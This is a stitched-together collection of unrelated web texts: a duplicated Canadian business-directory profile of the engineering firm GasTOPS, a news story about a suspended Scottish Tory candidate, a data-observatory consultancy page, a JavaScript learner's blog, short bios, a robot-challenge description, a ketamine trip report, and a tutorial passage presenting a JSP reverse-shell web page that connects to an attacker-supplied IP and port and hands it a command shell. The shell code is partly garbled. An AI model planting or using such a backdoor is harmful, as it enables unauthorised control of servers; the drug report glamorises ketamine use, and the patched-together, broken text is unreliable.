Our experience includes the application of these technologies to aircraft engines and gearboxes, industrial gearboxes, diesel engines, gas turbine engines, marine propulsion pods and hydraulic systems.
1. Machinery Plant Design
GasTOPS provides turnkey integration services for complex machinery plant designs. The services include equipment performance matching throughout the entire system operating envelope, system dynamic performance analysis and prediction using our in-house simulation capabilities as well as interface control processes to identify and manage the full spectrum of equipment physical, data and signal interfaces. These integration services provide significant benefits early in the design cycle with sufficient time to address interface and performance issues before schedule is adversely impacted.
2. Maintenance Program Development
Our extensive experience in condition assessment and condition based maintenance best practises provides clients with a unique perspective on your maintenance program performance. GasTOPS can develop a maintenance program for your equipment assets that will take advantage of a proven process to review and tailor your maintenance program to maximize your investment in maintenance management tools and processes. Our processes ensure stove pipe processes are identified and eliminated, permitting clients to take full advantage of their investment in equipment health monitoring and preventive maintenance solutions for specific machinery or plant wide.
3. Data Fusion and Analytics
The effectiveness of condition monitoring processes for critical machinery is dependent on turning measurement data into reliable and actionable information for operations and maintenance managers. GasTOPS has extensive experience in the integration/fusion and analysis of measurement data for the purposes of condition-based maintenance, including large-scale, mobile and stationary, equipment fleet applications. We work closely with customer engineering, management and IT staff to develop and implement solutions that are tailored to the maintenance process and IT infrastructure requirements of the customer organization. Alternatively, we offer a turnkey-key Remote Monitoring service.
6625-Electrical and Electronic Properties Measuring and Testing Instruments
6640-Laboratory Equipment and Supplies
AC00-Defense Systems
J000-Maintenance, Repair, Modification, Rebuilding and Installation of Goods/Equipment
R007-Systems Engineering Services
R008-Engineering and Technical Services (incl. Mechanical, Electrical, Chemical, Electronic Engineering)
R015-Simulation
Market profile
Alliances:
- Sales/Marketing
- Technology
Industry sector market interests:
- Manufacturing
- Mining/Petroleum/Gas
- Transportation
- Aerospace
- Defence
Geographic markets:
Export experience:
- Australia
- Brazil
- China
- Denmark
- France
- Germany
- Italy
- Japan
- Korea, Republic of
- Malaysia
- Netherlands
- New Zealand
- Norway
- Saudi Arabia
- Spain
- Sweden
- United Arab Emirates
- United Kingdom
- United States
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Classification codes
Total plant size:
Repair and Overhaul: 22,500 sq ft
Office: 24,000 sq ft
Key / Major clients:
- ABB- Avio
- Boeing
- BNSF Railway
- Canadian Coast Guard
- Cunard
- Department of National Defence
- Eurocopter
- EdF
- General Electric
- GE Wind
- Hamilton Sundstrand
- Honeywell
- Hyundai Marine
- Japanese Navy
- Lockheed Martin
- Moventas
- MTU
- National Research Council
- NAVAIR
- Norfolk Southern Railway
- Norwegian Cruise Lines
- Ontario Hydro
- Pilatus Aircraft Ltd.
- PSE&G
- Pratt & Whitney
- Raytheon
- REpower
- Rolls Royce
- Royal Caribbean International
- The Royal Australian Airforce
- The Royal Malaysian Airforce
- Siemens
- Shell Columbia
- TC Power
- TransCanada PipeLines
- United Technologies
- US Air Force
- Vestas
Success stories:
GasTOPS' unique products for oil debris sensing, capture and analysis have established a new industry standard for condition monitoring of mission-critical equipment. Our technology and products are in operation today on aircraft engines and gearboxes, including the F119, F135, EJ200 and PW1000G engines, aero-derivatives such as the GE LM series of engines, for podded cruiseline vessels and wind turbines gearboxes.For more than 30 years, GasTOPS has also been a key supplier of specialized engineering services to manufacturers and operators of complex machinery systems. We have helped these customers to reduce the risk of system development and/or the effectiveness of operations. Our major program accomplishments include:
- Advanced marine control systems for numerous naval vessels including US, Canadian, Israeli, German, Australian, Korean, UK, Dutch and Singapore Navy programs;
- Enterprise wide condition based maintenance system developments for military aircraft and railway equipment fleet applications; and
- Fuel management/control systems for regional aircraft.
From our Service Centre in Eastern Canada, GasTOPS also provides a unique combination of advanced technical services for aircraft maintenance support including condition monitoring, non-destructive testing and component MRO services.
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Some of the information on this Web page has been provided by external sources. The Government of Canada is not responsible for the accuracy, reliability or currency of the information supplied by external sources. Users wishing to rely upon this information should consult directly with the source of the information. Content provided by external sources is not subject to official languages, privacy and accessibility requirements.
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Contact information
Description
Company description
541330 - Engineering Services
541510 - Computer Systems Design and Related Services
Products, services and licensing
Product / Service / Licensing
MetalSCAN's reliability lies in its simple, maintenance free design. The sensing element uses non-obtrusive magnetic coils, which surround the oil line and detect the passage of metallic debris. All of the particles above a minimum size threshold are detected and counted. Unlike conventional chip detection systems, MetalSCAN requires no cleaning and does not suffer from false alarms caused by the build-up of metallic wear "fuzz" or single large particles.
With thousands of installations worldwide on equipment ranging from advanced jet engines to industrial gearboxes, MetalSCAN has proven its effectiveness, meaning expensive failures can be avoided and maintenance personnel can plan repairs during convenient and cost-effective periods.
FilterCHECK is a unique product that automates filter debris analysis by backwashing lube oil filters, quantifing the amount of debris in the filter and determining the metallurgy of this debris using Energy Dispersive X-Ray Fluorescence (EDXRF) technology. Results of the analysis can be obtained within minutes of filter removal, allowing for immediate operational decision support and enhanced equipment availability.
FilterCHECKs patented backwashing technique uses pulses of compressed air to dislodge wear metal particles from the filter element and fluid washing to carry away these particles for quantification, collection, and analysis. Extensive testing by independent laboratories has demonstrated that FilterCHECK can reliably remove up to 95% of the particles contained in filters commonly used for machinery lubrication systems.
The filter backwash fluid passes through a MetalSCAN sensor, which automatically counts, sizes and classifies ferromagnetic and non-ferromagnetic metallic particles. The backwash fluid then passes through a membrane to separate out a sample of the debris that is analyzed by the units EDXRF module to determine the elemental constituents of the captured debris. When the backwash cycle is completed, metallic particle quantity data and EDXRF elemental analysis results are displayed or downloaded for data logging and trending.
requirements and are suitable for use in a variety of military and industrial applications.
The analyzers available are:
DI-137 Tracking Analyzer Balancer System (TABS)
DI-306 Portable Diagnositic Analyzer (PDA)
DI-307A Aircraft Vibration Analyzer (AVA)
The company holds Repairable Material Account contracts with the Canadian Department of National Defence for both on-aircraft and ground support equipment items and is an authorized repair centre for:
· FLIR Systems Model 2000, Star Safire and Ultra Series Forward Looking Infrared Systems;
· Breeze-Eastern hydraulic and electrical rescue hoist systems
· Pinpoint Laser Systems Microgage Precision Alignment Systems;
· Trimble Trimpak III Global Positioning Systems;
· Dynamic Instruments DI137A Vibration Analyzers;
· Dynamic Instruments DI803 Transducer Test Sets;
· Normalair-Garrett TTM Magnetic Tape Cartridges; and
· GasTOPS FilterCHECK, MetalSCAN and F/A 18 Flight Data Interface Unit Products.
Our repair shop facilities include specialized tooling and test equipment for optical component adjustment, accelerometer calibration, line scan camera adjustment and circuit board repair. The repair shop also has access to the companys production shop and environmental test facilities, which include CNC and conventional milling machines and lathes, CNC and TIG welding capabilities, thermal cycling chambers, and vibration test equipment.
Our repair shop staff are OEM qualified and trained. The companys extensive engineering capabilities are also available to design, develop and qualify component modifications and upgrades and to assist our customers with issues related to obsolescence management.
The component MRO shop is both AS9100/ISO9001: 2008 and Transport Canada Aircraft Maintenance Organization (AMO) certified. GasTOPS is registered under the Canadian Controlled Goods Registration Program (CCGRP).
GasTOPSs controls development is supported by our industry leading capability in the use of engineering simulations of complex machinery arrangements. We apply simulation at various stages of a project depending on the requirements at hand. Our experience includes the application of simulation to the conceptual design of machinery system configuration, detailed design of control algorithms, testing of actual control system equipment, the production of plant simulations to support land based test facilities and on board training. Our knowledge of the equipment also enables GasTOPS to dynamically simulate equipment degradation processes, essential to the development of condition indicators to improve health monitoring when the equipment is in-service.
Our remote monitoring solution is readily scalable in terms of both monitored equipment units and the processes or techniques used to monitor the health of these units. We support most of the common sample-based and continuous monitoring processes, including oil debris monitoring, oil analysis, vibration analysis, non-destructive testing, endoscopy, thermography and filter debris analysis techniques. The service can also include automated data interpretation, report generation and maintenance action recommendations via a data-driven, rule-based expert system capability.
In 2004, we created an organization within GasTOPS, the Applications Center, dedicated to this mandate of collaborative problem solving. The staff of the Applications Centre together with specialists from our engineering team in Ottawa provide our customers with extensive knowledge and prior application experience in the areas of:
o On-line, continuous wear debris monitoring;
o Analysis of captured wear debris;
o Fluid condition and contamination monitoring; and
o Condition-based maintenance program development.
Our experience includes the application of these technologies to aircraft engines and gearboxes, industrial gearboxes, diesel engines, gas turbine engines, marine propulsion pods and hydraulic systems.
1. Machinery Plant Design
GasTOPS provides turnkey integration services for complex machinery plant designs. The services include equipment performance matching throughout the entire system operating envelope, system dynamic performance analysis and prediction using our in-house simulation capabilities as well as interface control processes to identify and manage the full spectrum of equipment physical, data and signal interfaces. These integration services provide significant benefits early in the design cycle with sufficient time to address interface and performance issues before schedule is adversely impacted.
2. Maintenance Program Development
Our extensive experience in condition assessment and condition based maintenance best practises provides clients with a unique perspective on your maintenance program performance. GasTOPS can develop a maintenance program for your equipment assets that will take advantage of a proven process to review and tailor your maintenance program to maximize your investment in maintenance management tools and processes. Our processes ensure stove pipe processes are identified and eliminated, permitting clients to take full advantage of their investment in equipment health monitoring and preventive maintenance solutions for specific machinery or plant wide.
3. Data Fusion and Analytics
The effectiveness of condition monitoring processes for critical machinery is dependent on turning measurement data into reliable and actionable information for operations and maintenance managers. GasTOPS has extensive experience in the integration/fusion and analysis of measurement data for the purposes of condition-based maintenance, including large-scale, mobile and stationary, equipment fleet applications. We work closely with customer engineering, management and IT staff to develop and implement solutions that are tailored to the maintenance process and IT infrastructure requirements of the customer organization. Alternatively, we offer a turnkey-key Remote Monitoring service.
6625-Electrical and Electronic Properties Measuring and Testing Instruments
6640-Laboratory Equipment and Supplies
AC00-Defense Systems
J000-Maintenance, Repair, Modification, Rebuilding and Installation of Goods/Equipment
R007-Systems Engineering Services
R008-Engineering and Technical Services (incl. Mechanical, Electrical, Chemical, Electronic Engineering)
R015-Simulation
Market
Market profile
Alliances:
- Sales/Marketing
- Technology
Industry sector market interests:
- Manufacturing
- Mining/Petroleum/Gas
- Transportation
- Aerospace
- Defence
Geographic markets:
Export experience:
- Australia
- Brazil
- China
- Denmark
- France
- Germany
- Italy
- Japan
- Korea, Republic of
- Malaysia
- Netherlands
- New Zealand
- Norway
- Saudi Arabia
- Spain
- Sweden
- United Arab Emirates
- United Kingdom
- United States
Sector
Sector information
Classification codes
Total plant size:
Repair and Overhaul: 22,500 sq ft
Office: 24,000 sq ft
Key / Major clients:
- ABB- Avio
- Boeing
- BNSF Railway
- Canadian Coast Guard
- Cunard
- Department of National Defence
- Eurocopter
- EdF
- General Electric
- GE Wind
- Hamilton Sundstrand
- Honeywell
- Hyundai Marine
- Japanese Navy
- Lockheed Martin
- Moventas
- MTU
- National Research Council
- NAVAIR
- Norfolk Southern Railway
- Norwegian Cruise Lines
- Ontario Hydro
- Pilatus Aircraft Ltd.
- PSE&G
- Pratt & Whitney
- Raytheon
- REpower
- Rolls Royce
- Royal Caribbean International
- The Royal Australian Airforce
- The Royal Malaysian Airforce
- Siemens
- Shell Columbia
- TC Power
- TransCanada PipeLines
- United Technologies
- US Air Force
- Vestas
Success stories:
GasTOPS' unique products for oil debris sensing, capture and analysis have established a new industry standard for condition monitoring of mission-critical equipment. Our technology and products are in operation today on aircraft engines and gearboxes, including the F119, F135, EJ200 and PW1000G engines, aero-derivatives such as the GE LM series of engines, for podded cruiseline vessels and wind turbines gearboxes.For more than 30 years, GasTOPS has also been a key supplier of specialized engineering services to manufacturers and operators of complex machinery systems. We have helped these customers to reduce the risk of system development and/or the effectiveness of operations. Our major program accomplishments include:
- Advanced marine control systems for numerous naval vessels including US, Canadian, Israeli, German, Australian, Korean, UK, Dutch and Singapore Navy programs;
- Enterprise wide condition based maintenance system developments for military aircraft and railway equipment fleet applications; and
- Fuel management/control systems for regional aircraft.
From our Service Centre in Eastern Canada, GasTOPS also provides a unique combination of advanced technical services for aircraft maintenance support including condition monitoring, non-destructive testing and component MRO services.


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by Jonathan WhitelawA SCOTS Tory candidate has been axed by the party over alleged anti-Semitic comments made on a blog post.
Ryan Houghton had been running for the MP seat in Aberdeen North in next month's General Election.
But the party has now suspended him and withdrawn its support after alleged comments made online seven years ago.
Mr Houghton issued a statement and an apology on social media last night.
He said he had discussed freedom of speech and comments made by notorious Holocaust denier David Irving in one of the forums.
The ex-Tory candidate also apologised to the Jewish community of Aberdeen.
In a statement, he said: "At the age of 20 on an online forum, I took part in a range of political discussions.
"These included terrorism, LGBT rights and anti-Semitism.
"In one of these threads started by another member of the forum there was a conversation about freedom of speech.
"There then followed a discussion about the Holocaust denier and now disgraced historian David Irving started by other members.
"In explaining David Irving's position after watching one of his lectures online, I had reference his view that parts of the holocaust had been fabricated and exaggerated.
"I made clear in subsequent forum posts that I was not defending the views of David Irving and I strongly opposed any Holocaust denial.
"Having been a member of the Holocaust Educational Trust, visited Auschwitz-Birkenau and as someone who has been a friend of the Jewish community here in Aberdeen, I have never held ant-Semitic or intolerant views.
"The last thing we need in the current climate is even the impression of more anti-Semitism and I cannot fathom the hurt members of the Jewish community experience, especially when individuals who make comments are later elected to public office.
"I apologise unreservedly for any hurt now caused by these comments and have been in contact with members of the Jewish community in Aberdeen."
Mr Houghton added that he would cooperate with a Tory investigation and "looked forward to clearing my name".
The party confirmed that he had been suspended.
A spokesman for the Scottish Conservatives said: “The comments contained in these blogs are unacceptable and Mr Houghton has been suspended as a member of the Scottish Conservative party as a result.
"The party has also withdrawn its support for his candidacy in Aberdeen North.
"The Scottish Conservatives deplores all forms of Islamophobia, homophobia and anti-semitism.”


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Data Observatory
An observatory is a location used for observing terrestrial or celestial events. The European Commission and the Council of Europe are supporting numerous data observatories to support research and development and evidence-based policymaking. We are creating automated observatories following the best practices of reproducible research.
Satellite Report grew out of a such an observatory, CEEMID.
How To Start A Data Observatory?
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A private observatory is a data integration system, which automatically collects external information, processes it and professionally joins it with internal data resources. We offer this to business, scientific research, think tank and NGO and journalism partners.
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A collaborative observatory is a data integration system that has a map to collaborating institutions’s data resources, and is able to exploit their synergies by automatically combining their data, triggered by an authorization of all involved parties. We offer this to Consortia of various entities. Daniel’s CEEMID project developed since 2014 is a good example of a collaborative observatory.
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A public observatory is a collaborative observatory that intends to make at least some of its data assets available as open data. ode chunk to prevent printing of the R code that generated the plot. We offer this for the European Union and its Consortia. See some observatories »
Our observatories fulfil important functions in data collection, processing, integration, and automated modelling. We provide these services as custom software as service products in the form of data applications. To design a good observatory that fulfils your business, policy, scientific or journalistic needs, we provide data curating as a consulting service.
A few public observatories:
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The European Alternative Fuels Observatory is an European Commission funded initiative which provides open and free information, amongst others to support Member States with the implementation of EU Directive 2014/94 on the deployment of alternative fuels infrastructure. The EAFO is maintained by the EAFO Consortium.
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The EU Energy Poverty Observatory (EPOV) is an initiative by the European Commission to help Member States in their efforts to combat energy poverty. It exists to improve the measuring, monitoring and sharing of knowledge and best practice on energy poverty, and it is developed by a consortium of universities, think tanks, and the business sector.
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The European Observatory for Clusters and Industrial Change to help Europe’s regions and countries in designing better and more evidence-based cluster policies and initiatives. This platform is funded by the EU programme for the Competitiveness of Enterprises and SMEs (COSME).
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The Cluster Observatory of the Center for Strategy and Competitiveness at the Stockholm School of Economics, which started out originally as the European Cluster Observatory.
Reproducible research
We believe that a modern data observatory should be as much reproducible and automated as possible.
- Following reproducible research principles leads to higher data quality, especially if it is based on open-source code.
- Reproducible data can be automatically documented, which makes teamwork, collaboration and instant use far more efficient.
- Reproducible research products offer far more efficient supervision and audit. Quality control is cheaper and easier.
Open source, open data, open collaboration
In the EU, open data is governed by the Directive on open data and the re-use of public sector information - in short: Open Data Directive (EU) 2019 / 1024. It entered into force on 16 July 2019. It replaces the Public Sector Information Directive, also known as the ‘PSI Directive’ which dated from 2003 and was subsequently amended in 2013. The public sector offers tens of billions’ euro worth data — but without a free lunch. While the data is available free or at marginal cost, it is processed to the needs of public authorities, public services, and require special know-how to be put to a secondary business or research use. Our founder, Daniel, has been involved in Open Data and PSI since 2003. Our expertise guarrantee that in the field of economics, finance, social sciences, and most policy areas your observatory starts with hundreds, or even thousands of re-used public sector indicators, often with a decade-long or even longer history.
We use the open source statistical programming language R, and various open source R programs. We also release some of our mission-critical code developed to create business and policy indicators — see eurobarometer, iotables, regions, retroharmonize. Our important code goes through anonymous peer-review, and open for external review, audit. For example, this allowed us to compare test results on calculating economic impact indicators for the creative industries and other industries with the UK statistical office. You can even modify our code – you just cannot copyright and close it for commercial use. In our view, this guarrantees the highest quality, but it also gives assurrances of transparency and makes vendor lock-in impossible. While developing these packages requires our special knowledge, their rich and peer-reviwedd documentation makes sure that you can always find a team member, or hire a data analyst who can work with them without us.
The use of open source software and the open source R statistical language allows a continuous peer-review of data ingestion, processing, corrections and indicator creation by statisticians, data scientists and academics. Statistical products of national statistical offices, sometimes Eurostat itself, not to mention data providers that are not part of the system of national statistical offices, such as the European Audiovisual Observatory, are plagued with data errors that are corrected and amended relatively slowly.
Data integration instead of centralisation
Our observatories by design are flexible and decentralized. Our continuous data integration allows to join and publish any data the observatory and its member have access to, and have rights and intentions to share or publish. We only keep metadata, i.e. a ‘data map’ to make sure that whatever the Observatory’s members want to share or publish is always automatically available for processing and publication.


I've had so many problems but the two I most frequently suffer from are syntaxing issues and not understanding where to start.
I like to try console logging in the Chrome inspector or on a website like codepen.io. I also like to do the rubber ducky technique or the 'explain your problem to a five year old' technique to help simplify a problem. And psuedo code.
Because we're learning at such a fast rate the issues feel pretty never ending. By the time I get something it's already time to move to something else. I have brief moments of clarity and feel awesome for 2 seconds then go back to brain struggles.
I like trouble shooting when I have someone to talk to - even if he is a rubber duck.
The map method creates a new array from an existing array by changing the value input some way so that the values are different. Huh?! I hear you say... well if Johnny has 8 apples and uses the map method on them he will take each apple off the bench, makes an individual pie out of each apple, then puts the 8 individual apple pies back on the bench. Mmmm... Pie.
Filter makes a new array from by filitering the values of a current array. So, Johnny has 5 pears that he wants to use the filter method on. He doesn't want any rotten pears so he filters for nice pears. 5 pears on the bench, 4 are nice but one has a nasty worm in it. We thrown the yucky one out and keep the nice 4. Yay!
The reduce method accumulates. It takes an array and applies a function to the array one variable at a time, then uses the value it creates to build on top of. It's like making a cake that you have to add the eggs slowly into. Johnny has some cake batter he needs to add 3 eggs to one by one. He cracks in the first egg. Mixes. The mixer had changed and is slighty eggier. He adds in the second egg. Mixes. The mixure is more eggy. He cracks in the final egg. Mixes. The final result is ready to get put in the oven. Splendid!
This lady doesn't get it...


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AIRTIGHT - Flickr Related Tag Browser Flickr Related Tag Browser lets you surf Flickr's 'tag space'. Flickr tags are keywords used to classify images. Each tag has a list of 'related' tags, based on clustered usage analysis.暇潰しにはもってこいだな。


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I am a full-stack web developer based in Durham, NC. I've focused on Ruby, Sinatra, Rails, Javascript, and AngularJS. My projects include everything from full-stack CRUD apps to a web-based chess game. I enjoy short roadtrips, retro gaming, and excessive amounts of iced coffee.


Reverse shells allow us to telnet to the box and execute commands on behalf of the user running the script (typically 'www' or 'nobody'). I grabbed this from http://www.security.org.sg/code/jspreverse.html and modified it slightly to fit in the article without taking up too much space and to work on both Linux and Windows boxes. Lets have a look see:
<html>
<%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" % >
<%! static class StreamConnector extends Thread{
InputStream is;
OutputStream os;
StreamConnector(InputStream is, OutputStream os){
while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0){
osw.write(buffer, 0, lenRead);
osw.flush();
}
}
catch (Exception ioe)
try{
if(isr != null) isr.close();
if(osw != null) osw.close();
}
catch (Exception ioe)
}
}
%>
<form method="post">
IP Address<input type="text" name="ipaddress" size=30>
Port<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form> <pre>
<% String ipAddress = request.getParameter("ipaddress");
String OS = System.GetProperty("os.name");
String ipPort = request.getParameter("port");
if(ipAddress != null && ipPort != null){
Socket sock = null;
try{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
if(OS.startsWith("Windows")) // if windows use cmd /c, if not, just pass the command
{
Process proc = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
}
else
{
Process proc = Runtime.getRuntime().exec(cmd);
}
StreamConnector outputConnector = new StreamConnector(proc.getInputStream(),
sock.getOutputStream());
StreamConnector inputConnector = new StreamConnector(sock.getInputStream(),
proc.getOutputStream());
outputConnector.start();
inputConnector.start();
}
catch(Exception e)
}%> </pre>
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by Joseph Giron -->
</html>
And now for usual explanation of the code. The code starts off by importing classes, declaring variables, and defining stream objects for input and output. The streams are initialized and an output buffer is defined. Then we have your run of the mill html form code that grabs the IP address and port number to connect to. Next the code grabs the passed variables and initializes socket code, checks to see which OS is running, then passes handle of Runtime.exec to the socket for reading and writing. In layman's, it shows us a form to enter an IP and a port for us to enter our info then creates a backdoor for us. Isn't java fun?


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The challenge consists of three sprints, each lasting an hour:
Sprint 1: Teams specify and implement the behaviour to follow curves and corners in the track.
Sprint 2: Teams specify and implement the behaviour when the mBot enters (and leaves) a tunnel.
Sprint 3: Teams ensure that the mBot actually completes the track!
Teams obtain points for collaboration, sound specifications, and obviously their mBot functioning correctly. Finally, all teams engage in a competition: the team whose mBot completes the track quickest, wins eternal glory (and perhaps a nice price).
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2 bumps |
insufflated |
Ketamine |
(powder / crystals) |
The first time I did K was the best. It wasn't necessarily the strongest, because there have been times where I thought I would fall unconcious, but it was the most exciting. Maybe it was that this was the best shit I would get for a long time, and I had no idea. Or maybe it was the perfect environment I was in... I stood with my friend L after my bumps in the middle of a dark dancefloor at 5 in the morning. The DJ put on Plasmic Honey's 'Exorcism' a rather spooky kind of Progressive house song. On the big screens at the front of the club was a huge smiling devil's face.
I stood there feeling the effects begin to hit me. I don't really remember what came first, or what it felt like coming up, but I know it was fast. Soon I felt like I weighed a million pounds. My whole body was dead weight as slumped over my friend. I tried to walk and found myself stumbling about. I realized my eyes were somewhat closed, and I opened them up and took a look around. All I saw was darkness, with shadows of people dancing behing shadows of the club, and that devil's face was everywhere. And the shadows would react to the music... with each beat the shadows pulsed. And as the music built the intensity would grow...
I pulled myself out of the trance a little bit before the music climaxed. I didn't want to be there for that. As scary as all that might seem though, it really wasn't at all. It was a lot more interesting than anything else, and I was never once scared, though I guess maybe some people would have been.
I decided that K was a lot of fun, and I should try dancing. It was tough considering I had no balance, and my legs felt extremely heavy. Gradually the drug began to wear off and I began to want more, a feeling I suppressed.
K was a lot of fun, but it kind of scares me for some reason. But then again,I think people should be scared of drugs. Its a great time, but be careful.
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